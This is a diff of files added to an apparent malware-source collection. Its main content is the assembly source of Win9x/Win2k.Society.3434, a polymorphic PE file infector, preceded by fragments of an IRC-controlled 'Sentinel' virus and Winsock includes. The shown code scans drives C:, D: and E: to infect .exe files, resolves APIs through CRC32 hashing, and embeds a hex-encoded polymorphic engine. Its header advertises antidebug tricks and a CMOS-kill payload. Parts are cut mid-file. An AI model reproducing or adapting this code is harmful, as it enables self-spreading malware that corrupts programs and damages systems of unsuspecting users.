dd 0 + sizesize dd 0 + bytesread dd 0 + nrbytes2 dd 0 + + dmHnd dd 0 + ifilehandle dd 0 + ifilesize dd 0 + irealsize dd 0 + isocketh dd 0 + + installerthreadid dd 0 + + installer_server db 20h dup(0) + installer_get db 100h dup(0) + installer_serversize dd 0 + installer_getsize dd 0 + installer_launchstatus dd 0 + installer_stat00 db "PRIVMSG #sntnl :Waiting...",0dh,0ah + installer_stat01 db "PRIVMSG #sntnl :Installing...",0dh,0ah + installer_stat02 db "PRIVMSG #sntnl :Done...",0dh,0ah + installer_stat03 db "PRIVMSG #sntnl :Unable to connect...",0dh,0ah + installer_stat04 db "PRIVMSG #sntnl :Size error...",0dh,0ah + +GET_WINDIR proc + + GetWindowsDir: + push 128h ; size of dirstring + lea eax, [ebp + windir] ; save it here + push eax + lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir + call GETAPI + ret + +GET_WINDIR endp + +SET_WINDIR proc + + SetWindowsDir: + lea eax, [ebp + windir] ; change to sysdir + push eax + lea eax, [ebp + ASetCurrentDirectory] + call GETAPI + ret + +SET_WINDIR endp + +;========================================================================; + + Leap: + +.code + + OriginalHost: + pop ebx + + push 00h + call ExitProcess + +end FirstCopy +end +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SENTINEL.ASM]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MYINC.INC]ΔΔΔ +GMEM_FIXED = 0000h + + +LPVOID typedef DWORD ;long ptr to buffer +BOOL typedef DWORD ;boolean variable +HANDLE typedef DWORD ;unspecified handle +LPSTR typedef DWORD ;long ptr to string +LPBYTE typedef DWORD ;long ptr to byte +ACHAR typedef BYTE ;ansi character +CHAR textequ ;ansi char type +CHAR_ equ 1 ;ansi char size + +CREATE_DEFAULT_ERROR_MODE equ 04000000h + +SECURITY_ATTRIBUTES_ equ 4+4+4 +SECURITY_ATTRIBUTES struct +sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size +sa_lpSecurityDescriptor LPVOID 0 ;security descriptor +sa_bInheritHandle BOOL 0 ;handle inheritance flag +SECURITY_ATTRIBUTES ends + +PROCESS_INFORMATION struct +pi_hProcess HANDLE 0 ;process handle +pi_hThread HANDLE 0 ;thread handle +pi_dwProcessId DWORD 0 ;process id +pi_dwThreadId DWORD 0 ;thread id +PROCESS_INFORMATION ends +PROCESS_INFORMATION_ equ 4+4+4+4 + +STARTUPINFO struct +si_cb DWORD 0 ;structure size +si_lpReserved LPSTR 0 ;(reserved) +si_lpDesktop LPSTR 0 ;desktop name +sl_lpTitle LPSTR 0 ;console window title +si_dwX DWORD 0 ;window origin (column) +si_dwY DWORD 0 ;window origin (row) +si_dwXSize DWORD 0 ;window width +si_dwYSize DWORD 0 ;window height +si_dwXCountChars DWORD 0 ;screen buffer width +si_dwYCountChars DWORD 0 ;screen buffer height +si_dwFillAttribute DWORD 0 ;console window initialization +si_dwFlags DWORD 0 ;structure member flags +si_wShowWindow WORD 0 ;ShowWindow() parameter +si_cbReserved2 WORD 0 ;(reserved) +si_lpReserved2 LPBYTE 0 ;(reserved) +si_hStdInput HANDLE 0 ;standard input handle +si_hStdOutput HANDLE 0 ;standard output handle +si_hStdError HANDLE 0 ;standard error handle +STARTUPINFO ends +STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4 + + +WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_) +WIN32_FIND_DATA struct +fd_dwFileAttributes DWORD 0 ;file attributes +fd_ftCreationTime DWORD 0, 0 ;time of file creation +fd_ftLastAccessTime DWORD 0, 0 ;time of last file access +fd_ftLastWriteTime DWORD 0, 0 ;time of last write access +fd_nFileSizeHigh DWORD 0 ;high-order word of file size +fd_nFileSizeLow DWORD 0 ;low-order word of file size +fd_dwReserved0 DWORD 0 ;(reserved) +fd_dwReserved1 DWORD 0 ;(reserved) +fd_cFileName CHAR 260 dup(0) ;matching file name +fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name +WIN32_FIND_DATA ends +; + + +SEH struct +m_pSEH DWORD 0 +m_pExcFunction DWORD 0 +SEH ends +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MYINC.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WSOCKS.INC]ΔΔΔ +; +; WSocks.inc: include file for windows sockets . +; Designed for TASM5 and Win32. +; +; (C) 1999 Bumblebee. +; +; This file contains basic structures and stuff to work +; with windows sockets. +; + +; Descriptions of the API: +; arguments in order of PUSH ;) + +; only for debug +extrn WSAGetLastError:PROC + +; starts the use of winsock dll +; addr WSADATA, version requested +; returns: 0 ok +extrn WSAStartup:PROC + +; terminates the use of winsock dll +; returns: SOCK_ERR on error +extrn WSACleanup:PROC + +; opens a new socket +; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??) +; returns: socket id or SOCKET_ERR (socket is dw) +extrn socket:PROC + +; closes a socket +; socket descriptor +; +extrn closesocket:PROC + +; sends data (this socks are a shit... Unix uses simple write) +; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket +; returns: caracters sent or SOCKET_ERR on error +extrn send:PROC + +; reveives data (this socks are a shit... Unix uses simple read) +; flags (use 0), length, addr of buffer, socket +; returns: caracters sent or SOCKET_ERR on error +extrn recv:PROC + +; connects to a server +; sizeof struct SOCKADDR, struct SOCKADDR, socket +; returns: SOCKET_ERR on error +extrn connect:PROC + +; gets the name of the current host +; length of the buffer for name, addr of buffer for name +; return: SOCKET_ERR on error +extrn gethostname:PROC + +; gets strcut hostent +; addr of name +; returns: ponter to the struct or 0 on error +extrn gethostbyname:PROC + +; converts a zstring like "xxx.xxx.xx...." to netw byte order +; zstring ptr to change to dotted addr format +; returns: in_addr (dd) +extrn inet_addr:PROC + +; dw to convert into netw byte order (usually the port) +; returns: the value in network byte order (dw) +extrn htons:PROC + +; Structs :o + +; sockaddr struct for connection +; modified (for better use) +; if you want the original look for it into a winsock.h +SOCKADDR struct +sin_family dw 0 ; ex. AF_INET +sin_port dw 0 ; use htons for this +sin_addr dd 0 ; here goes server node (from inet_addr) +sin_zero db 8 dup(0) +SOCKADDR ends + +; for WSAStartup diagnose +WSADATA struct +mVersion dw 0 +mHighVersion dw 0 +szDescription db 257 dup(0) +szSystemStatus db 129 dup(0) +iMaxSockets dw 0 +iMaxUpdDg dw 0 +lpVendorInfo dd 0 +WSADATA ends + +; Some nice equs + +; what version of winsock do you need? (usually 1.1) +VERSION1_0 equ 0100h +VERSION1_1 equ 0101h +VERSION2_0 equ 0200h + +AF_UNIX equ 1 ; local host +AF_INET equ 2 ; internet (most used) +AF_IMPLINK equ 3 ; arpanet +AF_NETBIOS equ 17 ; NetBios style addresses + +; types of sockets +SOCK_STREAM equ 1 ; stream (connection oriented; telnet like) +SOCK_DGRAM equ 2 ; datagram (packets, packets, packets) + +; protocol +PCL_NONE equ 0 ; none (define the protocol not needed) + +SOCKET_ERR equ -1 ; standard winsock error + +HOSTENT_IP equ 10h ; where is the IP into the hostent struct +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WSOCKS.INC]ΔΔΔ diff --git a/LegacyWindows/Win9x.Society.3434.asm b/LegacyWindows/Win9x.Society.3434.asm new file mode 100644 index 00000000..bd2028b0 --- /dev/null +++ b/LegacyWindows/Win9x.Society.3434.asm @@ -0,0 +1,2557 @@ + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SOCIETY.TXT]ΔΔΔ +;============================================================================== +; Win9x/Win2k.Society.3434 (c) necr0mancer +; december 2001 +;ring-3 PE infector +; +;Features: +; +; * Works only in win2k & win9x,but can work on winNT(I haven't it!) if +; you add it kernel base on table (see source). +; * Polymorphic (use NPE32 engine). +; * Some infection methods (EPO,standart, .reloc OR .debug overwrite). +; * Simple antidebug. +; * Payload (on trace with td32:)) CMOS kill.) +; * Not infecting winzip self-extactors & upx-packed files +; +;Tnx: to all who write stuff. +; Infection sheme: +; +;============================================================================== +; ΪΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ main ³ ΝΝΝΝΝ - incorect secton size +; ΐΔΔΔΔΔΒΔΔΔΔΔΩ +; ΪΔΔΔΔΔΑΔΔΔΔΔΏ +; ³ find reloc³ +; ΐΔΔΔΔΔΒΔΔΔΔΔΩ +; ΪΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΔΔΔΔΏ +; ΪΔΔΑΔΔΔΏ ΪΔΔΔΑΔΔΏ +; ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄findedΖΝΝΝΝΝΝ» ³failed³ +; ³ ΐΔΔΒΔΔΔΩ Ί ΐΔΔΔΒΔΔΩ +; ³ ΪΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΏ Ί ΪΔΔΔΔΑΔΔΔΔΔΔΔΔΏ +; ³ ³ EPO infection ³ ΪΔΧΔΔΔ΄ find .debug ³ +; ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ³ Ί ΐΔΔΔΔΒΔΔΔΔΔΔΔΔΩ +; ³ ³ Ί ³ +; ³ ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ Ί ΪΔΔΔΔΑΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ΐΔ΄Overwrite infection ΓΔΔΔΔΩ ΘΝΝΝ΅"standart" infection ³ +; ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; +; +;============================================================================== + + + +include 1.inc +include win.inc + +PAGE_READWRITE equ 4 +FILE_MAP_WRITE equ 2 +DEBUG equ 0 ;no debug-release;) + +extrn MessageBoxA:near +extrn ExitProcess:near + + +VIRTUAL_SIZE equ (offset _endvbody-offset _start) +PHYSICAL_SIZE equ (offset _fbodyend-offset _start) +DEBUG equ 0 + + .586p + .model flat + + .data + +message_title db '[Dekadance] has been start.',0 + +_message db 'Credo:',0dh + db 'Dekadance is lifestyle.',0dh,0dh + db 'Copyleft (c) 2001 necr0mancer',0 + .code + +_emulation: + + push eax ;jmp viri + xor eax,eax + jmp _callz_manager + +Original: + + push MB_ICONEXCLAMATION + push offset message_title + push offset _message + push 0 + call MessageBoxA + + push 0 + call ExitProcess ; call ExitProcess + +;------------------------------------------------------------------------------ +;Run loader +_callz_manager: + + pushfd ;save flags®s + pusha + +@cm equ <-offset @@GetDelta> + + call @@GetDelta ;get delta +@@GetDelta: + pop ebp + +if DEBUG eq 1 + int 3 +endif + + + and eax,0ffh ;AL=# in function table + push eax + push ebp + + xor edi,edi + +nop_call: + call _start + pop ebp + + push edi + lea edi,[ebp+nop_call @cm] + mov eax,90909090h ;write nop for next call + stosd + stosb + pop edi + + pop eax ;eax=# in function table + shl eax,3 ;eax*8 + + or edi,edi ;first mng_call? + jnz table_offset_exist + + db (0b8h OR __edi) ;mov edi,xxxxxxxx + delta_tbl dd 0 + + jmp short get_me_out + +table_offset_exist: + + mov [ebp+delta_tbl @cm],edi ;save table_pointer + ;for next calls +get_me_out: + lea edi,[edi+eax] + + mov eax,[esp+8*4+4] ;restore old eax + mov [esp._eax],eax + mov [esp+8*4+4],edi ;write ret adr + + popa + popfd + ret + +;============================================================================== +;Virii part + +@ex equ <-offset Delta> + +_start: + call Delta ;get Delta +Delta: + +if DEBUG eq 1 + int 3 +endif + pop ebp + jmp short AfterData ;go to main part + +; === some data === + +imagebase dd 00400000h +OldRVA dd (offset Original-00400000h) +fmask db '*.exe',0 + +tbl: + + dd 77e80000h + dd 0Bff70000h + dd 0 + +jmp_table: + mov eax,offset Original + jmp eax + dq 9 dup (0) + +Mask_table: + + db 2 + dw 025FFh ;jmp xxxxxxx + db 0 + db 0 + db 0 + +;============================================================================= +Fsize dd ? +Voff dd ? +Foff dd ? +MZbase dd ? + +AfterData: + + db 0b8h ;mov eax,xxxxxxxx + reTT_need dd 1 ;flag of type infection + + or eax,eax + jnz no_need_heh + + mov eax,[ebp+OldRVA @ex] ;restore old entrypoint + add eax,[ebp+imagebase @ex] + push eax ;FOR returning in prog + +no_need_heh: + + lea esi,[ebp+jmp_table @ex] ;copy adr_table + lea edi,[ebp+jmp_tmp_table @ex] + mov ecx,10*2 + rep movsd + + lea eax,[ebp+offset @@@error_handle @ex];find kernel base + push eax + + xor eax,eax + push 4 ptr fs:[eax] ;set SEH + mov fs:[eax],esp + + lea esi,[ebp+offset tbl @ex] ;possible kernel bases + lea edi,[ebp+offset __kernel32 @ex] + + pusha + jmp _lodsd +_ex: + pop 4 ptr fs:[eax] ;restore SEH + pop eax ; + jmp no_yet ;& exit + +;============================================================================= + +@@@error_handle: + + mov esp,[esp+8] + sub esp,20h + +_lodsd: + popa + lodsd + or eax,eax ;end of table ? + je _ex + mov [edi],eax + pusha + + db 0b8h +__kernel32 dd 0 + + + cmp word ptr[eax],'ZM' ;test on MZ + jne _lodsd +__ok: + xchg eax,ebx + xor eax,eax + add esp,20h + pop 4 ptr fs:[eax] ;restore SEH + pop eax + +;============================================================================== + +sys_ok: + + lea esi,[ebp+offset _Table @ex] ;table of CRC32 + lea edi,[ebp+offset _adr @ex] ;table of needed + ;function's adresses +Ft_repeat: + + call get_proc_adr ;find adress + + or eax,eax ;no finded :( + jz end_Ft_cycle + stosd + + jmp Ft_repeat + +end_Ft_cycle: + + + out 70h,al ; + in al,71h ; + inc al ; + shl eax,8 ; + mov ecx,1000000 ; GET RANDOM NUMBER + loop $ ; + out 70h,al ; + in al,71h ; + not eax + ; save it + mov [ebp+__seed @ex],eax ; for virii + inc eax ; + mov [ebp+runSeed @ex],eax ; and for NPE + + + xor eax,eax ;files infected=0 + mov 4 ptr[ebp+FileNum @ex],eax + + mov [ebp+our_ebp @ex],ebp ;save current delta + ;for creating thread + + xor ebx,ebx ;ebx=0 + + lea eax,[ebp+offset Thr_indefirer @ex] + push eax + + push ebx ;push 0 + push ebx ;push 0 + + lea eax,[ebp+offset Thread_proc @ex] ;offset to thread proc + push eax + + push ebx ;push 0 + push ebx ;push 0 + call [ebp+CreateThread @ex] ;Create thread + +no_yet: + lea edi,[ebp+offset jmp_tmp_table @ex] ;get jmp_table pointer + ;to calls_manager + retn ;exit to parent code + +Thread_proc: + + db (0b8h or __ebp) ;mov ebp,xxxxxxxx + our_ebp dd 0 + + lea edi,[ebp+SearchRec @ex] + lea edx,[ebp+dirname @ex] + mov [edx],'\:C' + call filefind ;infect drives + + mov [edx],'\:D' + call filefind + + mov [edx],'\:E' + call filefind + + db 0b8h ;mov eax,xxxxxxxx +Thr_indefirer dd 0 + + push eax + call [ebp+ExitThread @ex] ;good bye! + +;========================================================================================= +;Input: esi=offset of string +; ebx=kernel adr +;Out : eax=adr(if has finded;)) + +get_proc_adr proc + + push edi + + push eax + lodsd + mov [ebp+crc32 @ex],eax ;save getted crc + pop eax + + mov ecx,[ebx+3ch] ;PE-header offset + add ecx,ebx + + mov ecx,[ecx+78h] ;Export table offset + jecxz return_0 ;if (et=null) then err + + add ecx,ebx ;ecx-offset of export + ;table + xor edi,edi +_search: + + mov edx,[ecx+20h] ;offsets on FuncNames + add edx,ebx ;correct on base + + mov edx,[edx+edi*4] + add edx,ebx + + push esi ;crc table + push ecx ;base + + mov esi,edx + push edx + +find_zero: + + lodsb + or al,al + jnz find_zero + dec esi + + sub esi,edx + xchg ecx,esi + + pop esi + call CRC32 + + db (0b8h or __edx) ;mov edx,crc + crc32 dd 0 + + pop ecx ;base + pop esi ;table + + cmp edx,eax + je _name_found + + inc edi + cmp edi,[ecx+18h] + jb _search + +return_0: + + xor eax,eax ;error ocures + jmp _return + +_name_found: + ;esi=index on string table + mov edx,[ecx+24h] + add edx,ebx + movzx edx,word ptr [edx+edi*2] + + mov eax,[ecx+1ch] ;AdrTable + add eax,ebx ;correct on base + + mov eax,[eax+edx*4] + add eax,ebx ;get adress of nedded function + +_return: + + pop edi ;in output eax + retn +get_proc_adr endp + + +;============================================================================= +; INFECT +;============================================================================= + +infect proc + pushad + + mov esi,edx ;esi=edx=full name + +_findzero: + lodsb + or al,al + jnz _findzero + ;esi=offset of null byte+1 + mov eax,[esi-4] + + cmp eax,00455845h ;EXE? + je exe_infect + + cmp eax,00657865h ;exe? + jne no_EXE + +exe_infect: + + cmp byte ptr [ebp+FileNum @ex],15 + ja no_EXE ;More than 15 files? + +_gogo: + call fopen ;edx=FileName + + or eax,eax ;error ocures? + je i_close_exit + + xchg ebx,eax ;ebx=handle + call f_createmap ;createfilemapping + + mov [ebp+MZbase @ex],eax + xchg eax,edx ;edx=mem_adr + + mov ax,word ptr[edx+18h] + cmp al,40h + jne i_close_exit + + mov eax,[edx+3ch] + add edx,eax ;EDX=offset of PE header + mov eax,[edx] + cmp ax,'EP' ;really PE ? + jne i_close_exit + + +;get last section + + movzx eax,word ptr[edx+14h] ;NT header size + add eax,18h ;Size of PE-header + add eax,edx ;Eax=offset of Object table + + push eax + push edx + + movzx eax,word ptr[edx+6h] ;Number of objects + + dec eax + smov esi,40 ;size of table + mul esi ;result in EDX:EAX + + xchg esi,eax ;ESI=offset of last object + + pop edx + pop eax + + mov edi,eax ;edi=Object-table + add esi,eax ;correct(esi=last object) + + push edi + +;============================================================================= + +;find winzip or UPX0 + + mov al,1 + movzx ecx,word ptr[edx+6h] ;Number of objects +find_upx: + + cmp 4 ptr[edi],'niw_' ;_winzip_ + je zip_upx + + cmp 4 ptr[edi],'0XPU' ;UPX0 + je zip_upx + + add edi,40 +loop find_upx + + xor eax,eax +zip_upx: +;============================================================================= + pop edi + or eax,eax + jnz i_close_exit + + mov eax,[edx+34h] ;get & save imagebase + mov [ebp+imagebase @ex],eax + + mov ecx,[esi+10h] ;get Fsize + mov [ebp+Fsize @ex],ecx + + mov eax,[esi+8h] ;get Vsize + or eax,eax ;Vsize=0? + jz i_close_exit + + or ecx,ecx ;Fsize=0? + jz i_close_exit + + cmp eax,ecx ;Vsize + +DirNum db ? +FileNum db ? +bytesread dd ? + + +first_run_npe dd ? +runSeed dd ? +dirname dd ? + +jmp_tmp_table: + dq 10 dup (?) +_endvbody: +end _emulation + +;============================================================================== +; (C) necr0mancer 2001 +; necr0mancer2001@hotmail.com +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SOCIETY.TXT]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[1.INC]ΔΔΔ +MAX_GARBAGE equ 6 +MAX_OPERATIONS equ 5 + +;cryptor size +; 100+(6*5*6*5)~1kb maximum +; +; + + +__eax equ 000b +__ebx equ 011b +__edx equ 010b +__ecx equ 001b +__esi equ 110b +__edi equ 111b +__ebp equ 101b + +smov macro p1,p2 +if p2 gt 07fh + + if p2 lt 100h + + if p1 eq eax + xor eax,eax + mov al,&p2& + endif + + if p1 eq ebx + xor ebx,ebx + mov bl,&p2& + endif + + if p1 eq ecx + xor ecx,ecx + mov cl,&p2& + endif + + if p1 eq edx + xor edx,edx + mov dl,&p2& + endif + else + + mov &p1&,&p2& + + endif + +else + push &p2& + pop &p1& +endif + +endm + +opcod struc + code dw 0 + flags db 0 + code_num db 0 +opcod ends +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[1.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[CALL_MNG.INC]ΔΔΔ +;============================================================================= +;Api_call stub (c) necr0mancer +;necr0mancer2001@hotmail.com +;============================================================================= +db 09Ch,060h,0E8h,000h,000h,000h,000h,05Dh,0CCh,025h,0FFh,000h,000h,000h,050h +db 055h,033h,0FFh,0E8h,031h,000h,000h,000h,05Dh,057h,08Dh,07Dh,00Bh,0B8h,090h +db 090h,090h,090h,0ABh,0AAh,05Fh,058h,0C1h,0E0h,003h,00Bh,0FFh,075h,007h,0BFh +db 000h,000h,000h,000h,0EBh,003h,089h,07Dh,026h,08Dh,03Ch,007h,08Bh,044h,024h +db 024h,089h,044h,024h,01Ch,089h,07Ch,024h,024h,061h,09Dh,0C3h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[CALL_MNG.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[NPE32BIN.INC]ΔΔΔ +;============================================================================== +; Necromancer's Polymorphic Engine +; v 1.0 +; (c) necr0mancer december 2001 +; +; +;stdcall +;int NPE_main( +; DWORD *offset data //offset to data +; DWORD *offset bufer //offset of bufer(see ramarks) +; DWORD count_bytes //size of crypting data +; DWORD seed //(see remarks) +; DWORD flags //(see remarks) +; ); +; +;Output: EAX = Size of crypted data and decryptor. +; cf = 1 if error +; cf = 0 if success +; +;Remarks: +; Engine must run in r/w section. +; +; *bufer : Size of bufer must be larger of really size data beakose NPE use +; bufer for building cryptor/decryptor. +; In real size of bufer must be about 400h*3+size of data+1 +; But I test it with many-memory allocate & can't said +; about working npe32 with little bufer. +; +; Flags: +; +; bits: +; ΪΔΔΔΔΔΔΔΔΔΒΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ 0..6 ³ Using regs32 ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 7 ³ Antidebug functions enabled ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 8..11 ³ number of commands in using commands ³ +; ΓΔΔΔΔΔΔΔΔΔΕΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +; ³ 11..16 ³ number of commands in using garbage ³ +; ΐΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; +; Regs32 (bits 0..6): +; ΪΔΔΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΒΔΔΔΏ +; ³ bit ³ 0 ³ 1 ³ 2 ³ 3 ³ 4 ³ 5 ³ 6 ³ +; ΓΔΔΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔΕΔΔΔ΄ +; ³ reg ³EAX³EBX³EDX³ECX³ESI³EDI³EBP³ +; ΐΔΔΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΑΔΔΔΩ +; +; Seed: +; if this parametr is not NULL then randseed generator of NPE32 +; gets a new value for inicialize.If it is NULL NPE32 use getted +; value for any random operations. +; +;And one 'little' thing : npe32 has a bug working in multi-layer mode, +;which destroyes original data.If size of encryptors+data more than +;D00h bytes it happends. +; +;necr0mancer2001@hotmail.com +npe_main: +db 060h,0E8h,000h,000h,000h,000h,05Dh,0EBh,077h,081h,0C0h,0A1h,001h,081h,0E8h +db 0A1h,000h,081h,0F0h,0A1h,002h,0F7h,0D0h,085h,003h,0D1h,0C0h,085h,005h,0D1h +db 0C8h,085h,004h,040h,000h,045h,007h,048h,000h,045h,006h,0F7h,0D8h,085h,008h +db 087h,0C0h,082h,000h,08Bh,0C0h,082h,000h,083h,0C0h,0C9h,000h,083h,0E8h,0C9h +db 000h,090h,090h,040h,000h,0EBh,000h,080h,000h,083h,0C8h,0CDh,000h,083h,0F0h +db 0CDh,000h,00Bh,0C0h,082h,000h,023h,0C0h,082h,000h,000h,003h,002h,001h,006h +db 007h,005h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h +db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h +db 000h,000h,000h,000h,000h,061h,0F9h,0C3h,08Bh,04Ch,024h,030h,0E3h,006h,089h +db 08Dh,0D0h,004h,000h,000h,08Bh,054h,024h,034h,052h,083h,0E2h,07Fh,08Dh,07Dh +db 070h,08Dh,075h,04Fh,033h,0C0h,040h,06Ah,007h,059h,033h,0DBh,052h,023h,0D0h +db 074h,002h,043h,0A4h,0D1h,0E0h,05Ah,0E2h,0F4h,00Bh,0DBh,074h,0CBh,083h,0FBh +db 003h,072h,0C6h,089h,09Dh,0BBh,003h,000h,000h,058h,08Bh,0D0h,066h,081h,0E2h +db 0FFh,000h,066h,025h,000h,0FFh,0C1h,0E8h,008h,08Bh,0C8h,025h,0F0h,000h,000h +db 000h,0C1h,0E8h,004h,083h,0F8h,009h,076h,003h,06Ah,009h,058h,00Bh,0C0h,074h +db 09Bh,089h,085h,0C2h,001h,000h,000h,083h,0E1h,00Fh,083h,0F9h,00Ah,076h,003h +db 06Ah,00Ah,059h,00Bh,0C9h,074h,086h,089h,08Dh,0D1h,003h,000h,000h,08Bh,04Ch +db 024h,02Ch,089h,08Dh,0F5h,002h,000h,000h,08Bh,07Ch,024h,028h,08Bh,074h,024h +db 024h,057h,053h,051h,081h,0C7h,000h,00Ch,000h,000h,057h,0B8h,090h,000h,000h +db 000h,003h,0C8h,0F3h,0AAh,05Fh,059h,08Bh,0DFh,00Fh,0BAh,0E2h,007h,073h,017h +db 051h,056h,08Dh,0B5h,007h,005h,000h,000h,0B9h,019h,000h,000h,000h,001h,08Dh +db 0F5h,002h,000h,000h,0F3h,0A4h,05Eh,059h,0F3h,0A4h,08Dh,08Dh,0CDh,004h,000h +db 000h,058h,08Bh,0F0h,0FFh,0D1h,08Ah,054h,005h,070h,08Bh,0C6h,0FFh,0D1h,08Ah +db 074h,005h,070h,03Ah,0F2h,074h,0F4h,088h,075h,057h,056h,04Eh,04Eh,08Bh,0C6h +db 0FFh,0D1h,040h,066h,089h,085h,0FEh,002h,000h,000h,091h,058h,08Dh,075h,070h +db 08Dh,07Dh,064h,0E8h,00Eh,003h,000h,000h,05Fh,057h,033h,0C0h,0E8h,0E1h,000h +db 000h,000h,050h,0DBh,01Ch,024h,058h,06Ah,005h,058h,0E8h,03Eh,003h,000h,000h +db 040h,091h,08Bh,044h,024h,004h,005h,000h,00Ch,000h,000h,089h,045h,05Ch,051h +db 057h,00Fh,0B7h,085h,0FEh,002h,000h,000h,08Bh,0C8h,048h,08Dh,075h,064h,08Dh +db 07Eh,006h,08Bh,0DFh,0E8h,0D1h,002h,000h,000h,05Fh,087h,0F3h,0ACh,08Ah,0F0h +db 056h,033h,0C0h,0B0h,0FFh,0BBh,000h,000h,000h,000h,08Dh,075h,003h,0E8h,013h +db 002h,000h,000h,08Dh,075h,05Ch,087h,026h,08Ah,0E6h,050h,08Bh,045h,060h,050h +db 087h,026h,05Eh,0E2h,0DAh,059h,0E2h,0BBh,033h,0C0h,0E8h,047h,001h,000h,000h +db 05Eh,060h,0FFh,0D6h,061h,05Fh,057h,08Bh,0DFh,081h,0C3h,000h,00Ch,000h,000h +db 056h,053h,0B0h,001h,0E8h,062h,000h,000h,000h,0E8h,0A7h,001h,000h,000h,08Dh +db 075h,05Ch,087h,026h,058h,089h,045h,060h,058h,08Bh,0DCh,087h,026h,08Bh,00Ch +db 